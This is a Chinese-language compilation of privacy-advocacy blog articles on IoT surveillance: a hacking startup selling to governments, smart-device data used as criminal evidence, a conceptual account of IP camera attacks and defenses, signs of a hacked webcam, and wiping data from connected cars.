Scott-Railton 还指出了一个具有讽刺意味的问题：一方面，投资者将资金用于防范网络攻击的公司，而另一方面为了获利，又将资金投入用于开发黑客工具的公司。

例如，Toka 的两位投资者，戴尔科技资本公司和安德森·霍洛维茨公司，已经预先将数百万美元投入到防御性公司中（其他种子投资者是 EntréeCapital，Launch Capital 和 Ray Rothrock）。

“他们投资的一家公司忙于尝试识别漏洞以保护其客户；而另一家则正忙于武装相同的漏洞，对于投资者来说这是一种利益冲突吗？”Scott-Railton 问道。

但 Rosen 更热衷于狡辩，他强调该公司“将采取措施确保其产品不被滥用”。

虽然监控和投资领域的多个消息来源都将该公司描述为在“进攻性安全”市场中运营，但 Rosen 热衷于强调 Toka 不在进攻性业务中。

他解释说，这是一个语义问题。他称网络防御和进攻之间存在中间立场……

他说，“中间有什么？有情报。这是所有政府机构的双筒望远镜。我们在防务和情报领域。如果你想防守你就需要情报。”

这是一种很高明的狡辩。情报不是信息，情报支持的是行动，尤其是进攻行动；如果没有行动就不需要情报。这里并没有什么“中间立场”。如果一间房子起火了，你不能说浇汽油的A和划火柴的B都是“中间立场”和“可以不负责任”。

Alexa, Are You A Spy? Israeli Startup Raises $12.5 Million So Governments Can Hack IoT

原文

你家冰箱如何作为呈堂证供？ - iyouport

IoT-危机和防御

【2019年12月19日存档】当你家冰箱在法庭上指认你撒谎……

冰箱只是一个指代。

如今，可以连接到互联网的日常物品和设备已经越来越多 —— 那些被称为物联网（IoT）的玩意，它们在“犯罪现场”中发挥着越来越大的作用，作为执法目标。

⚠你家的电灯、电视、门铃、恒温器、冰箱、微波炉…… 如今都作为了刑事调查和取证的一部分，这一趋势提出了尚未被充分探索的新挑战和风险。

执法部门对物联网的利用，这一讨论必须听取从技术人员到刑事律师、法医专家到民间社会的广泛声音和意见。

隐私国际组织的报告列出了一些初步问题。

在这里下载《监视资本主义时代》本书的电子版：https://t.me/iyouport/6559

问题是什么？

「图」

如今这个世界充满了连接互联网的设备和物体。

从家用物品，如门、灯泡、发刷、吸尘器、割草机 ……到可穿戴设备，如手表、Fitbits 和耳机……以及更复杂的物体，如汽车，全部都是联网状态。

这是监视资本主义最肆无忌惮的延伸。

这些所谓的智能物体可以使用传感器、麦克风和相机收集大量的私密数据，这些数据不仅关乎你自己的私密生活，还包括你的家人和朋友的一切。

如下面的Nest恒温器解剖图所示，传感器可以包括温度、湿度、光、超声波、罗盘、加速度计、陀螺仪和GPS接收器…… James Bond 上班时也不会带这么多家伙的。

人们对这些设备的功能了解甚少，往往没有意识到它们有多么的不安全。

这都不是新鲜事。Barbie在2015年发布的联网智能娃娃就配备了麦克风、语音识别软件和人工智能，允许儿童用户和玩偶之间的呼叫和响应功能。

挪威消费者委员会于2016年12月发布的报告声明，“在联网设备方面，儿童是特别容易受到攻击的人群”，严重问题包括缺乏安全性、非法用户条款、数据被秘密共享、以及被隐藏营销。

⚠一个所谓的智能灯泡，仅仅通过收集和分析它关闭和开启的时间规律，就可以掌握你全家的作息规律并识别“特殊行为”。

早在2017年就有报道，⚠Roomba 980 扫地机器人不仅可以吸尘，还同时会向制造商报告房屋的大小和家具的数量。

你我不可能了解遍布在我们周围的各种设备的全部功能，因为像 **Google** 的 **Nest Secure** 中的麦克风一样，它们一直都是保密的。除非被内部人士揭露。

呈堂证供

「图」

随着这些设备每天都在激增和渗透，大多数人很少考虑传感器、摄像头和麦克风收集的数据的特定用途究竟意味着什么 —— ⚠意味着政府在刑事调查中寻求和使用这些数据，并将其作为刑事诉讼中的证据。

简单说，你家的生活用品正在作为呈堂证供。

你的冰箱和吸尘器在决定你是不是“有罪”。

在大多数情况下，这些设备*本身*可能不是导致无罪释放或被定罪的关键证据。

更常见的情况可能是，它们将发挥某种作用 —— 引导出其他一些证据，用于证实或反驳原有的证据，以支持或诋毁证人。

情报机构和执法机构已经开始瞄准这些设备收集的数据；⚠国家安全局（NSA）已经在深入探索联网设备的潜在用途，包括生物医学设备，如心脏起搏器和胰岛素泵 —— 以监测个人。

英国内政部通知隐私国际组织，他们计划开发相关技术和技能，以利用物联网作为刑事调查的一部分。

2017年1月，苏格兰场数字取证主管 Mark Stokes 宣称，“物联网”设备可能会彻底改变犯罪现场调查。

有什么影响？

「图」

当检察官在 James Bates 案的刑事调查期间寻求证据时，他们认为这些证据是通过使用亚马逊Echo存储在亚马逊服务器上的 —— 人们已经准备好了对亚马逊的角色发表意见，但很少有人能阐述联网设备作为呈堂证供所存在的问题。

2015年11月，Bates 在他的家里和朋友一起看足球。次日早上，他的一个朋友被发现死在浴缸里。

阿肯色州本顿维尔的警方向亚马逊发出搜查令，要求亚马逊交出嫌疑人家中的 **Echo** 语音助理可能记录下的任何数据。

本顿维尔警方出示了两份搜查令，要求亚马逊提供所有关于 James Bates 的“录音、转录、文本记录和亚马逊 Echo 设备上包含的其他数据”。

当时 Bates 的律师 Kimberly Weber 表示，法院的命令“含糊不清，充满了假设”。

但是当嫌犯自己声称他会自愿将数据交给警方时，争议就结束了。而后亚马逊在同一天晚些时候翻录了录音。

联网设备之危险提出的问题范围包括：数据保护、消费者保护、和阴

暗的数据代理行业等等。

⚠知道您所在位置的牙刷、或记录您的睡前活动的智能床垫，这些东西现在都被用于调查和起诉您，与此同时对它们的可靠性完全缺乏公正的审查，并且可能伴随着过时法律程序的挑战。

信息不对称

「图」

在刑事调查中，警察很可能获得比证人、受害者或嫌疑人更多的信息和更好的工具。

在民事诉讼中，通常情况是，一方与另一方相比具有明显的 财务和资源方面的优势，无论是国家还是富有的个人或公司。

这不是与“数字证据”相关的独特问题。

个人通常没有专业知识去分析例如指纹、鞋印、纤维、血液或唾液等物理或生物学证据，同样，他们也没有提取和解释数字证据的技能。

然而，鉴于联网设备本质上所存在的问题，这使得信息不对称非常令人不安。

⚠特别是当你围绕这一问题进行辩论时你会发现，受害者、证人或嫌疑人可能没有意识到他们曾经带入家中或工作环境中的设备所具备的潜在能力。

这些设备一直在记录、处理和传输你我私密生活中大量的信息数据；设备的所有者可能完全不知道这些设备正在收集、共享和存储哪些数据。

虽然用户可以通过屏幕界面看到一些数据，但是，⚠大量的、特别是发送到第三方服务器（即云存储）的数据，在很大程度上是不可见的。

就如你已经从新闻中广泛看到的那样，例如，一家性玩具公司因未经用户知情而秘密收集私密数据而被起诉。

作为用户，你不可能知道这些联网设备所生成的全部数据都包括什么，也不会知道服务器收集的数据以及设备本身持续存在的数据都有什么 —— 这些数据都可以通过技术手段被提取。

除非我们具备必要的技能，否则很难获得洞察力；并且，数据保护法的主题访问请求等机制不太可能提供全面的信息。

为了说明这一点，隐私国际组织向亚马逊提出了与 Echo Dot 相关的主题访问请求，想知道设备本身存储的是什么，而不是亚马逊的服务器储存了什么。

亚马逊是这样回答的：

“Echo Dot 设备在本地存储有限数量的数据。虽然我们没有义务向您提供设备本地保存的数据以及我们未处理的数据，但由于您已明确要求，我们可以从您的设备中提取这些少量数据……”

就是这样 —— ⚠警察可以访问的内容与受害者、证人或被告能访问的内容之间不仅存在严重的信息不对称，并且，调查或起诉的人员对联网设备的能力也没有足够的了解。

证据的质量和可靠性

「图」

警察知道他们自己在做什么吗？—— 很难说。

取证是一个复杂的领域，特别是进行数字取证时，正如我们在移动电话取证方面所强调的那样 —— ⚠负责取证的警察很少甚至根本没有接受过专业培训，而他们正在依赖他们基本无法理解的设备给人们定罪。

并且，那些取证设备也几乎没有经过科学的测试，测试被所谓的商业机密挡住了。忽视这些工具的运作方式对刑事司法系统的正常运作是非常危险的。

在法律诉讼的调查阶段，个人可能处于显著的劣势，因为没有任何程度的证据披露。

如果逮捕是基于数字证据，那么，用户可以从他们的设备上获得的信息与警察可以获得的信息之间的不对称是非常明显的 —— 用户认为自己已经删除的内容事实上并没有消失，依旧会被提取出来。

而且，警方不仅更有能力从联网设备的生产商那里获取数据，也能直接从设备中提取数据的工具。

现在警方正在获取更强大的工具，以从更广泛的联网设备中提取、解码和解释数据。例如 Oxygen Forensic Detective 就公开声称“数字助理可作为新的目击证人”：

“*Oxygen Forensic Detective* 通过工具从移动设备和相关云服务中提取 *Google Home* 数据，为调查人员提供支持。”

然而，对易于使用的工具的严重依赖也带来了新的风险。许多人认为这会使数字取证变得愚蠢，并造成误判的重大风险。

Discovery Forensics 的常务董事兼高级法医调查员 Jan Collie 博士告诉英国上议院科学技术委员会：

“我在现场看到的是，正规警察正试图成为数字取证分析师，他们正在获得这些相当狡猾的神奇工具，这些工具可以做任何事。一个普通的警察（尽管他可能是好警察）但他肯定不是数字取证分析师 ..... 他们得出结论意味着什么？因为他们被迫这样做，他们没有资源或没有经过培训关于如何从这些结果中做出正确的推论。这种情况正在法庭前发生。”

物联网取证可以被视为一种特殊的专业，它根据物联网设备的多功能性和复杂性（如设备差异、专有硬件和软件）可能需要解决多种挑战；跨多个设备和平台的数据；存储数据的专有管辖区等等。

⚠几乎没有人讨论那些没有取证专业知识的人去进行数字取证或从他们获得的数据中得出结论，这存在多大的风险。

这不仅与诸如移动电话之类的复杂设备有关，而且，已经与诸多支持WiFi的门铃之类的廉价联网设备有关。

归因分析就是其中一大风险 —— 这一分析颇具专业性。

归因很难，检查数字证据需要大量的专业知识。最近发生的多起案件都证明了这点。

⚠数据利用造成的信息不对称可能会加剧防御不平等，从而为被告的自卫制造了不可逾越的障碍。

由于其可扩展性和可访问性，联网设备的数据存储主要在所谓的云中。美国商务部国家标准与技术研究所有一个取证科学云计算计划，旨在提高云取证学的准确性、可靠性、科学有效性和实用性。

他们指出，最棘手的新挑战之一是如何在各种类型的云计算环境中执行数字取证。

例如，数据收集挑战包括在大型分布式和动态系统中定位取证目标；从虚拟机中查找和收集易失性数据等等。

另一个必须考虑的因素是，警方收集的数据所构建的叙述很可能是不完整的，并且很可能集中在一个叙述的部分内容上，这个叙述完全可以煽动某人有罪但忽略了可能使他们无罪的证据。

警方调查人员需要接受严格的培训，如果没有适当的指导和明确的标准，警方就会对不完整的叙述和错误的结论进行刑事调查，从而导致司法不公。

陪审团在不完整的数字证据的基础上做出错误假设的风险已经非常大，特别是当辩方无法确定此类证据是否只是大数据海洋的一部分时。

我们是否被允许知道技术在做什么？——

「图」

个人无法获得与警察相同的昂贵技术。

虽然个人可能会被提供所提取的数据以及可能是检察官的专家报告，但是，个人没有自己的取证专家，他们不太可能有能力查询提取过程的严谨性。

并且，正如英国议会科学技术委员会所指出的那样，⚠即使人们拥有资源并试图验证或质疑数字取证专家的结论，一些私营公司也不愿意“披露有关他们自己的开发和测试方法的信息” —— 这意味着许多数字取证方法之正确性的证据基础极其薄弱，或根本不存在。

设备不安全：证据不可靠

「图」

访问控制、安全通信和安全存储是物联网环境中的重大挑战。据 Motherboard 在2015年的报道，“如果你拥有一个所谓智能的假阳具，就应该假定它已经被入侵了”。

数据通常是在不安全和不稳定的技术基础上生成和处理的；例如，LG Smart 真空吸尘器允许一组研究人员以房屋内部的视角监视实时视频。

⚠设备的设计本身就未考虑到安全性；相反，生产商主要关注的是最小化成本和尺寸。

⚠即使是我们放入体内的设备也没有足够的安全性。美国食品和药物管理局（FDA）不得不召回一堆心脏起搏器，因为它们很容易受到黑客攻击。

寻求来自联网设备的证据将超越众所周知的产品，例如 Amazon echo 或 Fitbits 等等。

同时，对所谓的物联网的非理性渴望意味着会有过多的设备具有令人毛骨悚然的数据收集能力，同时，也会有越来越多的不安全设备会很容易受到操纵和扭曲。

如果必需在调查中依赖联网设备或以其作为证据，则必需询问有关其提供的“证据”的可靠性的重要问题。

⚠想想看，如果你家的烤面包机含有你并不知道存在的麦克风和摄像头，并且可以通过123的默认管理密码访问……这意味着什么？当被骇客操纵的烤面包机指认你是杀人凶手时，结果会怎样？

现在你必需了解这一风险 —— 每个人都必需了解。因为即便您自己家中没有安置这类恐怖的联网设备，您工作的地方、休闲会所、您出入的大多数公共场所，几乎都存在这类东西。

如果这类设备本身不安全、可以轻松被入侵和操纵，并且入侵的成本很低，那么它们是否可以作为一种证据形式决定一个人是否有罪？这必需怀疑。

但是，显然，了解设备的不安全性也需要技术专业知识。虽然安全系统中的缺陷可能意味着数据已被泄露，但后果可能不会立即显现出来。

从另一个角度来看这个问题，还存在一个与设备的安全性和控制有关的人为因素。家庭成员可能随时使用这些设备，但他们不会意识到设备的控制器可以访问他们的每一次搜索、每一次移动、以及他们的每一个想法。这是当事人很可能无法控制的。

诉诸司法

「图」

为了能够将数据转换为证据，人们需要昂贵的设备来解码和分析数据，并且解释这些数据的人必需具备足够的专业知识。

⚠当社会中最贫穷和最脆弱的人被指控犯有严重的罪行时，他们如何支付得起昂贵的专家证据？

他们或许可以在律师的帮助下从设备中寻找原始数据，但是必须由专家向法官或陪审团解释。

⚠如果只有控方可以出示证据，被告怎么能有效地质疑他们知道的证据是不正确的？或者他们根本无法意识到的证据是不正确的？

如果案件中涉及数字证据，就需要获取、询问并理解其重要性。

这需要专业知识。对联网设备的数字证据的来源和完整性缺乏证明性挑战，有可能导致错误的定罪。

此外，司法科学不仅依赖于对相关材料的准确和可重复的检测和分析，而且还依赖于在特定背景下对这些材料的评估性解释。

专家可能不仅需要解释原始数据，还需要解决与设备安全性、被操纵可能性和证据的一般可靠性有关的诸多问题。

此外，许多设备不仅生成数据，而且公司收集数据并使用它们来分析用户行为并做出推断。⚠如果这些推断也可被用于调查或作为呈堂证供呢？

在诉讼中，如果决定要取消一个人的自由、给他们一个犯罪记录或者处以罚款，就必须有效地审核证据。平等武装原则和对抗性听证权是公平审判权的固有组成部分。这要求每一方都有合理的机会在类似的条件下陈述案情。

包括各方都有机会了解所有提出的证据或提出的意见，以便影响法院的决定。任何限制都应该是在严格意义上合理的，并且应该采取保护措施来保护被告免受这些限制造成的不平衡。

在涉及 Fitbit 数据的一些广泛被报道的案例中考虑这个问题。

以受害者的 Fitbit 数据为证据，一名男子被指控在康涅狄格州谋杀他的妻子，而在另一起案件中，Fitbit 数据被用来调查一名90岁的老人是否谋杀了他的继女。

在前一案件中，被告告诉警方，2015年12月23日上午9点左右，一对蒙面的袭击者进入了这对夫妇在郊区的住宅，杀死了被告的妻子。

然而，死者的健身追踪应用程序却讲述了一个完全不同的故事。该设备使用数字计步器跟踪佩戴者的步数，根据该设备的数据，受害者在她丈夫说谋杀发生后的一小时时间内依旧在房子周围移动。

但这真的能证明被告撒谎吗？不要忘记数字证据的复杂性。

⚠即使案件正在审判，获取专家证据的能力也不能得到保证，并且取决于司法管辖区以及个人是否可以获得法律援助。

与其他类型的司法科学一样，如果检方可以依赖个人无法获得的专业知识，就注定会对平等武装原则产生影响。

为了在法庭上有用，数字证据通常需要专家的解释。

检察官依赖数字证人的一个众所周知的案例涉及心脏起搏器 —— 个人身体内的联网装置。

一名来自俄亥俄州米德尔敦的男子于2018年1月遭到严重纵火和保险诈骗罪的起诉（据称他烧了自己的住所）。俄亥俄州当局获得并查看了心脏起搏器上记录的数据。为了在法庭上能作为证据使用，心脏病专家必须发表专家声明。监管链证人还有其他问题。

英国议会科学和技术委员会最近的一份报告指出，在许多刑事案件中，司法科学证据至关重要，司法公正取决于该证据的完整性和准确性。

尽管数字取证技术已经迅速增长，但没有可辨别的战略来应对这种情况对刑事司法系统带来的挑战。

该报告警告说，“辩方必须有机会在证据有争议的情况下委托自己的取证检验。”

⚠警察、检察机关和私人资助的客户可以支付的费用，与那些没有钱的底层人相比，存在巨大差异。

在每个司法管辖区内，个人都没有权利获得国家资助的专家。即使他们能获得，由于资金限制，也很可能会影响他们可以获得的专家的类型和质量。

相反，⚠国家总有机会获得丰富的资源，以起诉那些无法支配这些资源的个人，他们没有能力质疑国家的证据或为自己开脱。

自动分析和描绘

「图」

数据越来越多地通过自动分析来解释和描述。

公司和政府较少依赖我们提供的数据，而是查看他们自己可以观察、推导和推断的数据。加上机器学习的幽灵，失控甚至疯狂都难以避免。

数据可以说明一个人的几乎一切，并且，通过剖析和机器学习，当局可以掌握模式、预测行为并做出推论，这些都是普通人无法访问的结论。

更不用说以审讯为目的的调查了。无论是存储在设备上的还是存储在所谓云中的数据，警方都可以访问。

并且，⚠所有技术寡头都根据他们可以访问的数据对您进行了分析。如果这些数据被用作对您定罪的证据，这对您的辩护意味着什么？

- 《他们是如何抓捕说真话的人？⚠灾难和教训》

这些形式的分析是否可以被用作证据，严重值得怀疑。

但是，随着被收集的数据越来越多，所进行的分析也越来越多，当局是否会寻求基于用户行为的推论来谴责某人的性格？……

结论

「图」

人们不断购买那些能够将数据连接到手机、云端以及相互传输数据的新东西。随着你周围数字间谍的激增，它们制作的数据将不断增加。根据所谓的保守计算，到2020年将有大约250亿台设备被联网。

⚠警方当局从你身边的任何设备中寻找数据，寡头公司开发了易于提取数据的工具，人们继续购买那些联网产品，却很少考虑这些东西如何背叛你并导致未来的司法不公。

我们急需退一步考虑这个问题，对风险和挑战采取广泛的评估，并为每个人的未来寻求基本保障。

这件事已经非常紧迫了。〇

在这里下载完整版报告。

原文

如何攻击 IP 监控摄像机？以及如何防止被攻击？ - iyouport

IoT-危机和防御

【2018年6月20日存档】请注意：这里是一些知识，至于您如何使用它们，我们仅希望道德观能发挥充分作用。

连接到物联网（IoT）的设备的安全性一直是个热门话题，特别是互联网协议（IP）监控摄像机，已经成为日益严重争议性主题。

IP 摄像机因其相对较高的计算能力和良好的流量吞吐量而成为骇客的首选目标。一个典型的例子就是 2016 年底发生的事件，其中一个名为 Mirai 的基于 Linux 的僵尸网络被用来制造历史上最大的 DDoS 攻击。数据包流量突然高出正常数量的 50 倍，互联网流量估计达到 1.2 Tbps 的历史最高水平。流量由远程命令触发，被劫持的设备主要是 IP 监控摄像头。

此后，Mirai 类恶意软件的多个变种陆续浮出水面，进一步利用易受攻击的 IP 监控摄像头。准确说就是，网络安全必需是 IP 监控设备的主要考虑因素，也是 IP 监控摄像机市场的新决定性因素。

针对 **IP** 监控摄像头的动机

骇客入侵物联网设备的主要动机之一是获得经济收益，当然还有其他动机。在货币化方面，IP 监控摄像机作为目标有着与众不同的价值，原因如下：

- 持续连接。与许多其他设备一样，IP 摄像机需要通过互联网连接才能正常运行。然而，暴露于互联网也使骇客很容易找到该设备并利用它。一旦被入侵，这些设备将能够满足骇客所有需求。
- 低投入。与攻击 PC 不同，一旦骇客发现了破坏 **IP** 摄像机等物联网设备的方法，同样的方法通常就可以应用于其他类似型号的设备，从而导致平均每个设备的攻击成本非常低。
- 缺乏监督。与 PC 不同，尤其是办公室中使用的 PC，IP 摄像机

的用户交互性较低，并且在安全性方面管理不善。也没有安装售后市场的反恶意软件应用程序。
- 高性能。 IP 监控摄像机的空闲计算能力通常足以执行挖矿之类的活动，而不会被最终用户注意到。
- 高互联网带宽。为视频通信设计的“始终连接”、快速和巨大的带宽，使其成为骇客能够发起 DDoS 攻击的合适目标。

典型的攻击链

IP 监控摄像机周围的典型攻击链包括以下步骤。

1.初次感染。在找到具有开放端口的设备（例如 Telnet，Secure Shell 和通用即插即用（UPnP））后，攻击者使用设备的默认凭据（与 Mirai 一样）或利用未修补的系统漏洞（与 Persirai 和 Reaper 一样）获取访问控制。

2. 指挥和控制。在获得对设备的控制之后，攻击者下载并执行向命令和控制 (C&C) 服务器报告的恶意脚本或样本。该服务器发出命令，指示受影响的 IP 摄像机通过用户数据报协议泛洪执行恶意活动，如加密货币挖掘或其他设备上的 DDoS 攻击。

3.传播。根据其类型，使用的恶意软件可以扫描网络并使用相同的感染方法将自身传播到其他易受攻击的设备。攻击者可以自动触发此操作 (如蠕虫僵尸网络的情况 wormlike botnets)，也可以通过接收来自 C&C 服务器的指令手动触发此操作。

连不连互联网同样有风险

在传统的自助（DIY）消费市场中提供的大多数家用 IP 摄像机都直接连接到互联网。这意味着家庭 IP 摄像机以与家庭中的个人计算机非常相似的水平暴露于互联网，但缺乏安装安全软件的用户能力。虽然家用 IP 摄像机仅占所有已安装设备的一小部分，但它们构成了一个快速增长的市场，因为它们越来越便宜并令一般公众拥有可访问性。

另一方面，有些人声称 IP 摄像机没有暴露在这种风险水平下，因为大多数产品通常是为企业设计的，它们基本上在局域网中部署 IP 摄像机，并使其在互联网上无法被搜索。这种说法可能适用，但它也同时忽略了几个现实世界的因素：

- 系统集成商可能无法按预期安装 IP 摄像机。在许多情况下，人们只需选择哪种方法更方便他们安装所有内容并使设备正常工

作。易于维护是他们选择这样做的另一个动力。这解释了为什么仍然可以找到许多原本应该留在局域网内的 **IP** 摄像机的 **IP** 地址。
- IP 摄像机的商业模式正在发生变化。服务提供商正在使用 IP 摄像机来运行定制服务（例如老年人护理），并且使用互联网上的摄像机是用户和远程操作员同时根据需要访问摄像机的最简单方式。
- 视频分析功能等现代增值功能通常都部署在所谓的云端，以降低整体硬件和软件的成本，可灵活地打开或关闭特定功能，或添加新功能，无论相机的硬件性能如何。

综上，将 IP 摄像机连接到互联网是一个明显的趋势。鉴于全球部署了大量 IP 摄像机，一小部分在公共领域暴露自己的 IP 摄像机完全可以成为骇客的一大动力。

另一个需要考虑的事情是网络隔离是如何成为网络安全的常用方法之一。但是要注意，在局域网中并不能保证 IP 摄像机免受骇客攻击 —— 精心设计的恶意软件很容易在局域网中传播，任何携带到同一局域网的便携式设备都很容易变成感染矢量。

以臭名昭着的 Mirai 僵尸网络为例：即使目标是在 Linux 上运行的 IP 摄像机，基于 Windows 的木马也同样会发挥重要作用。

IP 摄像机的分层防御

IP 摄像机提供的完整功能通常包括摄像机本身、网络功能和云服务。为了提供一个安全的产品，制造商需要实现一个总体方针安全战略-从设备到云计算：

1. **IP** 摄像头硬件。 由于发现系统漏洞是黑客入侵IP摄像头的最关键因素之一，业内领先的制造商密切关注监控固件和修补易受攻击的系统组件。 但是，为了提高安全性，可以应用进一步的增强功能，例如：

- 强制更改默认凭据；
- 应用安全启动以防止受损设备运行；
- 如有必要，实施固件无线 (FOTA) 更新，以修补补丁问题；
- 如果不必要，通过最小化设备上的开放端口来采用最少功能的原则。

2. 网络。 在封闭网络中部署 IP 摄像机已经是一种高度采用的机制，

可确保更高级别的安全性。虚拟专用网络 (VPN) 可用于通过安全连接启用远程访问。其他与网络相关的安全实现包括：

- 加密连接以阻止尝试妥协；
- 连接安全隧道；
- 使用硬件组件存储加密密钥。

3. 云。 云服务提供的功能越多，安全性就越要命。 从好的方面来看，许多 (如果不是大多数的话) 服务提供商已经意识到了这一点。大多数领先的服务提供商都对其云基础架构提供足够的保护。 高度集成的安全产品 也在云环境中发挥着重要作用。

物联网安全由各个环节的角色承担

与其他物联网设备一样，在完整的基于 IP 摄像头的应用程序中有许多移动部件。因此，在发生安全事故时，任何人都不能也不应该对此负全部责任。从网络安全的角度来看，我们相信每个人都在充分实现安全方面发挥作用。

IP 监控系统的传统业务模式是一次性付款。在 DIY 市场中，最终用户只需购买 IP 摄像机并将其安装在现有网络环境中。更复杂的情况是将引入系统集成商，他们基本上为用户处理所有事情，包括选择正确的硬件，将它们固定在所需的位置，将它们连接到外发路由器，以及设置网络。如果没有计算维护合同的话，这也是一次性付款。

随着越来越多的各方试图在 IP 监控服务的基础上货币化，许多不同的商业模式应运而生以满足不同的需求。监控服务提供商现在向用户收取月费，而不是一次性付费，互联网服务提供商（ISP）也是如此。该业务的新参与者不仅为用户提供视频监控系统，还提供增值服务，如云录制和各种智能功能……

到目前为止，这个行业中有关各方之间的界限越来越模糊。例如，Nest 不仅是 Nest Cam™ 监视摄像头的制造商，而且还是促进相关云记录服务的服务提供商。

无论行业中的所有工作组件如何，都有一些人和实体在监控系统的网络安全中发挥关键作用：

设备制造商。对于设计和交付的每个功能，负责任的制造商应始终牢记安全考虑因素。有人可能会争辩说，用户经常忽略或忘记采用基本的安全措施，这可能只是当今全球普遍存在恶意软件的根本原因。各

国政府现在正在关注这一问题。由美国政府运营的工业控制系统网络应急响应小组（ICS-CERT）不时披露现有 IP 摄像机产品的系统漏洞，以便更好地了解网络安全问题。此外，台湾政府正在制定一系列旨在确保设备网络安全的法规，其中至少有四分之一的 IP 摄像机在世界各地运输。像 UL 这样的安全科学公司也在开展网络安全验证计划，以进一步提高网络安全实施的可见度。

服务供应商。那些使用 IP 摄像机构建系统并运行其服务的人应该负责系统级别的网络安全。通过集成 IP 摄像机的基本功能和其他高级功能，服务提供商基本上塑造了整个系统 — 从设备到网络再到云端。服务提供商和集成商不仅将各种事物放在一起，而且还确保设备和系统在整个使用寿命期间按预期运行。正如他们所希望的那样，服务提供商必须优先考虑网络安全以及承诺的功能。

系统集成商。那些设置硬件和软件并启动一切以启动监控系统服务的人也在使用安全性方面发挥作用。功能最少的原则在这里是关键指导原则，并且根据需要实现尽可能多的功能是目标。未使用的功能，尤其是开放端口等网络功能，通常是骇客的捷径。

最终用户。通常有安全指南或与 IP 摄像头产品一起使用的用户手册。通过阅读并按指示设置摄像机，在网络安全中起着至关重要的作用。例如，Mirai 的成功主要归因于更改默认密码失败。

确定安全的角色和责任不是要知道自己是谁 ，而是要知道自己做了什么。在 DIY 市场中，家庭用户也扮演系统集成商的角色。以相同的方式，IP 摄像机供应商不仅扮演设备制造商角色而且扮演服务提供者角色，因为所有应用和云服务也由供应商自己开发和维护。在我们可以想到的所有场景中，可以发现通过将涉及的实体映射到上述四个角色中的任何一个，可以轻松地传达安全责任和责任。

从现在开始保持安全

尽管 IP 摄像机市场成熟，但围绕它们的网络安全问题对整个行业来说仍然是一个巨大的挑战。与其他物联网设备和服务一样，IP 摄像机的信息流是一个长链，攻击可以在任何地方出现。在物联网相关业务上货币化的公司已经在很长一段时间内开始了解“云安全”，并且网络连接上的网络安全也很重要。

设备缺乏足够的网络安全实施是下一个需要解决的问题，不仅适用于 IP 监控行业，还适用于所有基于物联网的业务。一切都相互关联的世界可能看起来很棒，但只有拥有足够的网络安全，这个互联世界才会

像智能一样安全。但做到这点有着相当的难度。〇

原文

如何检测摄像头是否被入侵 - iYouPort

IoT-危机和防御

网络摄像头是最重要的计算机配件之一，可以以多种方式使用。但是它也是侵犯隐私的最严重威胁之一。如果他人获得了对您的网络摄像头的控制权，他们可以使用它来监视您，并可能带来可怕的后果。

幸运的是，您可以通过以下七种方式检查您的网络摄像头是否被黑客入侵。

1、检查网络摄像头指示灯：镜头附近的小红/绿/蓝指示灯可以让您知道网络摄像头当前是否正在录制视频。这意味着当您不使用摄像头时灯不会亮。如果您看到指示灯闪烁，则表示其他人正在访问您的网络摄像头。

如果你看到它稳定发光，这意味着网络摄像头正在录制视频。在这两种情况下，您都会知道您的网络摄像头处于外部控制之下。

灯很重要，如果是没有警示灯的网络摄像头会增加某人在您不知情的情况下远程控制摄像头的风险。所以，如果灯坏了要及时修理。

2、检查存储文件：如果有人使用您的相机录制素材，那么主要的迹象就是您没有创建的视频或音频存储文件。打开网络摄像头录像文件夹。如果存在您不记得是自己创建的文件，可能是由黑客使用您的网络摄像头录制的。

黑客也可以将文件的位置更改为新文件夹，因此请检查网络摄像头设置以确保保存位置是您自己选择的文件夹。

3、检查未知应用程序：在某些情况下，您的网络摄像头可能正在作为您不知情的应用程序的一部分运行。当您无意中下载了病毒或恶意软件并接管网络摄像头时就会发生这种情况。要查明是否是这种情况，请尝试运行网络摄像头。

应用程序正在控制您的网络摄像头。通过跟踪使用网络摄像头的程序，确定应用程序是您自己安装的还是恶意软件。

4、运行恶意软件扫描：在此阶段确定运行网络摄像头的应用程序的确切性质。在计算机上进行恶意软件扫描。

5、观察相机异常表现：网络摄像机日益成熟，这意味着它们能够提供更多功能。例如，可以从一侧移动到另一侧以获得更好的视频捕获效果，还可以调整镜头以提高分辨率。如果您发现网络摄像头自行执行了任何这些操作，则表明它正在被远程控制。

密切注意标志，仔细观察相机。它会改变位置，还是发出杂音？如果是这样，说明该设备已被黑客入侵。

6、检查网络摄像头安全设置：需要检查的一件事是您的相机的安全设置是否已更改。比如，

- 密码已更改为默认设置。
- 您无法再自行更改设置。
- 已关闭网络摄像头的防火墙保护。
- 管理员名称已更改。

警惕任何一种变更。

7、检查数据流：您的网络数据流可以告诉您在线会话期间使用了多少互联网数据。网络流量突然激增表明数据在您不知情的情况下被使用。

用任务管理器工具进行检查。以查看您的网络摄像头或未知应用程序是否正在发送数据。找到该程序后，使用恶意软件删除工具对其进行跟踪并将其删除。

How to Check If Your Webcam Was Hacked: 7 Things You Need to Do. Your webcam allows you to keep an eye on your home, but you need to keep an eye on your webcam as well. Spotted a problem with the webcam? Has it been compromised?

原文

小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？ - iYouPort

IoT-危机和防御

你驾驶的不仅仅是汽车，而是一台带轮子的存储了大量关于你的隐私信息的电脑！当你出售或捐赠汽车时，如果不采取措施将这些数据清空，那么下一个所有者就能获得这些个人数据。

「图」

「图」

— — 联网汽车和隐私 — —

二十多年来，我们一直在驾驶联网汽车。

它始于依赖蜂窝服务的简单功能（例如，如果车辆发生事故，自动呼叫紧急服务），但今天的“智能车”提供了更多功能，与此同时也将消费者置于了他们以前不易受到的危险之中。

对于骇客攻击的担忧可能是许多人的首要考虑因素，但随着智能汽车收集了越来越多的敏感数据（如位置、驾驶员的日常路线、使用的应用程序等），隐私必需被位于列表的首位。

并且，如果消费者将移动设备连接到了他们拥有或租用的汽车上，那么车子这台计算机可能包含的就不仅仅是这些关键数据了：消费者的电话联系人/地址簿、移动应用程序的登录信息和数据、数字内容、车库门密码等。还会有更多东西被暴露。

从联网汽车中删除您的信息

“有些汽车有一个出厂重置选项，可以将设置和数据恢复到原始状态。但即使在重置后，您仍可能仍有工作要做。例如，您的旧车可能仍然连接到订阅服务，如卫星广播、移动 Wi-Fi 热点和数据服务。你

需要清空这些服务或将它们转移到你的新车上。

除了存储在您车辆上的信息之外，还请进一步检查以确保您已清除设备与车辆之间的连接。例如，汽车制造商可能会提供一个应用程序，让您可以控制汽车的功能或“找到汽车” — 您应该在销售或交易时将应用程序与汽车断开连接。

